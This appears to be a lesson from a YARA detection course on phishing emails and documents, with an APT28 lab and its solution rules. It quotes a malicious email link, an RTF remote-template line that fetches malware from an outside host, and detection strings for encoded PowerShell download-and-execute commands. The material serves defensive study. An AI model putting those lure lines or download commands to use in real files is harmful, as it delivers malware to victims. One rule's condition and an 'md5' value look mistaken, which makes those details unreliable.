Phishing Docs and Emails

Detection rules must be tailored with forethought and consideration to the file type, so it is important to familiarize yourself with the typical content of common file formats. How do you ensure a rule matches only on that file type? Which aspects of YARA are best suited for the input file type? Should you emphasize text strings, hex strings, or modules? Success with YARA requires mindful composition, so be sure to ask yourself questions about the application or target content.


For most of this course we’ve focused on looking at malicious executables. The process of detecting phishing emails and documents is no different, except that our underlying file content - and the analytical “surface area” for phishing files - is slightly simpler and often in plaintext, meaning that our YARA rules are simpler, too.


Most emails consist of plaintext content, and when binary content or images are included they are attached as base64 encoded blobs. This means that YARA rules for emails might be mostly based on strings. For example, in the APT3 spearphishing email below, everything is plaintext, including sender, recipient, and the malicious link to the phishing page.


To: "Gibbons, Peter" <pgibbons@initech.com>
Subject: [CAUTION - EXTERNAL SENDER]: Read this information
Thread-Topic: Read this information
Date: Wed, 10 Dec 2013 13:04:53 +0000
Message-ID: <C6DB9740C63942F388CF305FA6168360@PRRNMSNET>
Content-Language: en-US
X-MS-Has-Attach:
x-tm-as-user-blocked-sender: No
x-tm-as-product-ver: SMEX-11.0.0.1251-7.500.1018-21164.003
x-tm-as-user-approved-sender: No
Content-Type: text/plain; charset="iso-8859-1"
Content-ID: <2F198957D327FE43BC94FB37D42988AC@initech.com>
Content-Transfer-Encoding: quoted-printable
MIME-Version: 1.0

http://78.129.252.172/initech_News.htm

Message Sent at DateTime=3D"12/10/2013 8:04:53 AM"

When emails come in more complex forms, such as .MSG (Outlook Item File Format) files, there may be binary structures in the email, but the interesting or malicious phishing content will likely show up in plaintext HTML, RTF, or XML strings.


Similarly, phishing documents come in many forms, but some of the most common are .DOCX (Open XML Word Doc) or .RTF (Rich Text Format) files, both of which consist mostly of language-specific plaintext strings to comprise the body of the documents. In the example below we see an RTF phishing lure document which would download and execute the embedded remote template URL to load additional malware, all in plaintext RTF.


\asianbrkrule\nojkernpunct\rsidroot9254921\newtblstyruls\nogrowautofit\usenormstyforlist\noindnmbrts\felnbrelev\nocxsptable\indrlsweleven\noafcnsttbl\afelev\utinl\hwelev\spltpgpar\notcvasp\notbrkcnstfrctbl\notvatxbx\krnprsnet\cachedcolbal 
\nouicompat \fet0{\*\wgrffmtfilter 013f}\nofeaturethrottle1\ilfomacatclnup2{\*\template http://pretence77.glorious.nonima.ru/ELENAPC/principles/nearly.mp3}{\*\ftnsep \ltrpar \pard\plain \ltrpar
\ql \li0\ri0\widctlpar\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0 \rtlch\fcs1 \af0\afs20\alang1025 \ltrch\fcs0 

Keep it simple! When writing YARA rules for phishing emails or documents, remember to 1) anchor your rules to the file type using file magic, 2) focus on defining unique strings for the malicious content and 3) let creative conditions do the rest!


Lab Instructions

For this lab, write a series of rules to detect the sample APT28 phishing document. Begin with writing one rule that is specific or precise, based on unique string content. Next, write a broad hunting rule for each sample attempting to detect anomalous or generically malicious features.


Sha256 of sample: 759fb4c0091a78c5ee035715afe3084686a8493f39014aea72dae36869de9ff6


Zip of sample: mal-apt28-doc-759fb4.zip


Zip password: infected


Reference blog: https://www.mcafee.com/blogs/other-blogs/mcafee-labs/apt28-threat-group-adopts-dde-technique-nyc-attack-theme-in-latest-campaign/


Attempt this lab on your own first, and then review my walkthrough video below to see how I approached it.


Lab Solutions & Walkthrough


Full Rule Solutions

rule APT28_Phish_Docx_68c280_Strings {
	meta:
		author = "smiller"
		md5 = "68c2809560c7623d2307d8797691abf3eafe319a"
		ref = "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/apt28-threat-group-adopts-dde-technique-nyc-attack-theme-in-latest-campaign/"
	strings:
		$header = "[Content_Types].xml<?xml version"
		$a1 = "powershell -enc $e # \" \"a slow internet connection\" \"try again later\""
		$a2 = "MSWord.exe\\\\..\\\\..\\\\..\\\\..\\\\"
		$a3 = "\\\\..\\\\..\\\\..\\\\..\\\\Windows\\\\System32"
		$a4 = "$e=(New-Object System.Net.WebClient).DownloadString('http://"
		$b1 = "2017-10-27T22:23:00Z"
		$b2 = "2017-10-27T22:25:00Z"
	condition:
		$header in (0..50) and
		3 of ($a*) and
		1 of ($b*)
}
rule TTP_Docx_Powershell_Path {
	meta:
		author = "smiller"
		md5 = "68c2809560c7623d2307d8797691abf3eafe319a"
		ref = "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/apt28-threat-group-adopts-dde-technique-nyc-attack-theme-in-latest-campaign/"
	strings:
		$header = "[Content_Types].xml<?xml version"
		$path1 = "Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe"
		$path2 = "Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe"
		$path3 = "Windows\\\\\\\\System32\\\\\\\\WindowsPowerShell\\\\\\\\v1.0\\\\\\\\powershell.exe"
	condition:
		$header in (0..50) and 1 of ($path)
}
rule TTP_Docx_Powershell_NewObject {
	meta:
		author = "smiller"
		md5 = "68c2809560c7623d2307d8797691abf3eafe319a"
		ref = "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/apt28-threat-group-adopts-dde-technique-nyc-attack-theme-in-latest-campaign/"
	strings:
		$header = "[Content_Types].xml<?xml version"
		$a = "powershell.exe" nocase
		$b = "New-Object System.Net.WebClient" nocase
	condition:
		$header in (0..50) and $a and $b
}
